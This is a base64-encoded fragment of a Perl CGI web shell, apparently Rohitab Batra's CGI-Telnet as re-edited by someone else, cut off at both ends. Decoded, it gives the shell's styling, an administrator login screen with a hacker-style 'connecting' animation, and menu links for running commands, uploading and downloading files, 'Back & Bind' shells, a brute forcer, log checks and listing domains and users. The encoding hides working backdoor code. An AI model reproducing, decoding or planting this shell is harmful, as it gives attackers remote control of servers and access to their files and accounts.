2hlZCAwcHggIzMzMzsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmZvbnQ6IDEwcHQgVmVyZGFuYSBib2xkOwpjb2xvcjogd2hpbGU7Cn0KCnJ1biB7CmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOwpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsKY29sb3I6ICNGRjAwQUE7Cn0KCnRleHRhcmVhIHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7CmZvbnQ6IEZpeGVkc3lzIGJvbGQ7CmNvbG9yOiAjYWFhOwp9CkE6bGluayB7CglDT0xPUjogIzJCQThFQzsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTp2aXNpdGVkIHsKCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmhvdmVyIHsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjZmY5OTAwOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmFjdGl2ZSB7Cgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUKfQoKLmxpc3RkaXIgdHI6aG92ZXJ7CgliYWNrZ3JvdW5kOiAjNDQ0Owp9Ci5saXN0ZGlyIHRyOmhvdmVyIHRkewoJYmFja2dyb3VuZDogIzQ0NDsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmU7Cn0KLm5vdGxpbmV7CgliYWNrZ3JvdW5kOiAjMTExOwp9Ci5saW5lewoJYmFja2dyb3VuZDogIzIyMjsKfQo8L3N0eWxlPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24gY2htb2RfZm9ybShpLGZpbGUpCnsKCS8qdmFyIGFqYXg9J2FqYXhfUG9zdERhdGEoIkZvcm1QZXJtc18nK2krJyIsIiRTY3JpcHRMb2NhdGlvbiIsIlJlc3BvbnNlRGF0YSIpOyByZXR1cm4gZmFsc2U7JzsqLwoJdmFyIGFqYXg9IiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpCnsKCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOwp9CmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQp7Cgl2YXIgYWpheD0iIjsKCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOwoJdmFyIGJhY2s9InJtX3JlbmFtZV9mb3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1yZW5hbWUgdHlwZT10ZXh0IHZhbHVlPSAnIitmaWxlKyInIC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpCnsKCWlmKGY9PSdmJykKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Y29tbWFuZCZkPSRkaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsKCX1lbHNlCgl7CgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOwoJfQp9Cjwvc2NyaXB0Pgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzBjMGMwYyIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4KPGNlbnRlcj48Y29kZT4KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+Cjx0cj4KCTx0ZCBhbGlnbj0iY2VudGVyIiByb3dzcGFuPTI+CgkJPGI+PGZvbnQgc2l6ZT0iNSI+JEVkaXRQZXJzaW9uPC9mb250PjwvYj4KCTwvdGQ+CgoJPHRkPgoKCQk8Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4kRU5WeyJTRVJWRVJfU09GVFdBUkUifTwvZm9udD4KCTwvdGQ+Cgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjY2MwMDAwIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iIzAwMDAwMCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4KCTwvdGQ+Cgo8L3RyPgoKPHRyPgo8dGQgY29sc3Bhbj0iMyI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVkQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1ndWkmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkdVSTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1icnV0ZWZvcmNlciI+QnJ1dGUgRm9yY2VyPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNoZWNrbG9nIj5DaGVjayBMb2c8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5Mb2dvdXQ8L2E+IHwKPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9IiMiPkhlbHA8L2E+Cgo8L2ZvbnQ+PC90ZD4KPC90cj4KPC90YWJsZT4KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNmZjk5Y2MiID4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCglwcmludCA8PEVORDsKPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+ClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRlcnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7CiAgaWYoKHR5cGVvZiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRNTCA9PSAidW5kZWZpbmVkIikpIHsKICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4KICAgIHJldHVybjsKICB9CiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsKICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5jdGlvbigpIHsgcmV0dXJuOyB9KTsKICB0aGlzLmludGVydmFsID0gKHR5cGVvZiBpbnRlcnZhbCA9PSAidW5kZWZpbmVkIiA/IDEwMCA6IGludGVydmFsKTsKICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsKICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0OwogIHRoaXMuY3Vyc29yID0gKGN1cnNvciA/IGN1cnNvciA6ICIiKTsKICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7CiAgdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgdGhpcy5lbGVtZW50LnR5cGluZ1RleHQgPSB0aGlzOwogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsKICBUeXBpbmdUZXh0LmFsbC5wdXNoKHRoaXMpOwogIHRoaXMucnVubmluZyA9IGZhbHNlOwogIHRoaXMuaW5UYWcgPSBmYWxzZTsKICB0aGlzLnRhZ0J1ZmZlciA9ICIiOwogIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7Cn0KVHlwaW5nVGV4dC5hbGwgPSBuZXcgQXJyYXkoKTsKVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOwpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0aW9uKCkgewogIGZvcih2YXIgaSA9IDA7IGkgPCBUeXBpbmdUZXh0LmFsbC5sZW5ndGg7IGkrKykgVHlwaW5nVGV4dC5hbGxbaV0ucnVuKCk7Cn0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24oKSB7CiAgaWYodGhpcy5ydW5uaW5nKSByZXR1cm47CiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsJLy8gV2UgaGF2ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0aWVuY2UuCiAgICByZXR1cm47CiAgfQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSAiIjsKLy8gIHRoaXMub3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0LnJlcGxhY2UoLzwoW148XSkqPi8sICIiKTsgICAgIC8vIFN0cmlwIEhUTUwgZnJvbSB0ZXh0LgogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgewogICAgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyID0gIjwiOwogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIj4iICYmIHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gIj4iOwogICAgICB0aGlzLmluVGFnID0gZmFsc2U7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZmZXI7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiYiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gIjsiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOwogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSB7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICB9CiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsKICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgKz0gKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCAtIDEgPyAodHlwZW9mIHRoaXMuY3Vyc29yID09ICJmdW5jdGlvbiIgPyB0aGlzLmN1cnNvcih0aGlzLmN1cnJlbnRUZXh0KSA6IHRoaXMuY3Vyc29yKSA6ICIiKTsKICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsKICB9IGVsc2UgewoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOwoJdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgICAgICAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7CiAgfQp9Cjwvc2NyaXB0Pgo8L3ByZT4KCjxmb250IHN0eWxlPSJmb250OiAxNXB0IFZlcmRhbmE7IGNvbG9yOiB5ZWxsb3c7Ij5Db3B5cmlnaHQgKEMpIDIwMDEgUm9oaXRhYiBCYXRyYSA8L2ZvbnQ+PGJyPjxicj4KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+Cjx0Ym9keT48dHI+Cjx0ZCB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaHR0cDovL2RsLmRyb3Bib3guY29tL3UvMTA4NjAwNTEvaW1hZ2VzL21hdHJhbi5naWYiPjxwIGlkPSJoYWNrIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsiPgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4KCjxmb250IGNvbG9yPSIjMDA5OTAwIj4gVHJ5aW5nIGNvbm5lY3QgdG8gU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4KPGZvbnQgY29sb3I9IiMwMDk5MDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+IENoZWNraW5nIFNlcnZlciAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250PiA8YnI+Cgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgoKPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+XCQgQ29ubmVjdGVkIENvbW1hbmQhIDwvZm9udD48YnI+Cjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0shIFlvdSBjYW4ga2lsbCBpdCE8L2ZvbnQ+CjwvdHI+CjwvdGJvZHk+PC90YWJsZT4KPGJyPgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsKVHlwaW5nVGV4dC5ydW5BbGwoKTsKCjwvc2NyaXB0PgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsKCW15ICR0ZXh0ID0gc2hpZnQ7CgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsKCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsKCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsKCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7CgkkdGV4dCA9fiBzLz4vJmd0Oy9nOwoJcmV0dXJuICR0ZXh0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEFkZExpbmtEaXIoJCkKewoJbXkgJGFjPXNoaWZ0OwoJbXkgQGRpcj0oKTsKCWlmKCRXaW5OVCkKCXsKCQlAZGlyPXNwbGl0KC9cXC8sJEN1cnJlbnREaXIpOwoJfWVsc2UKCXsKCQlAZGlyPXNwbGl0KCIvIiwmdHJpbSgkQ3VycmVudERpcikpOwoJfQoJbXkgJHBhdGg9IiI7CglteSAkcmVzdWx0PSIiOwoJZm9yZWFjaCAoQGRpcikKCXsKCQkkcGF0aCAuPSAkXy4kUGF0aFNlcDsKCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuJHBhdGguIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGJyPkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KClBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUZvb3Rlcgp7CglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92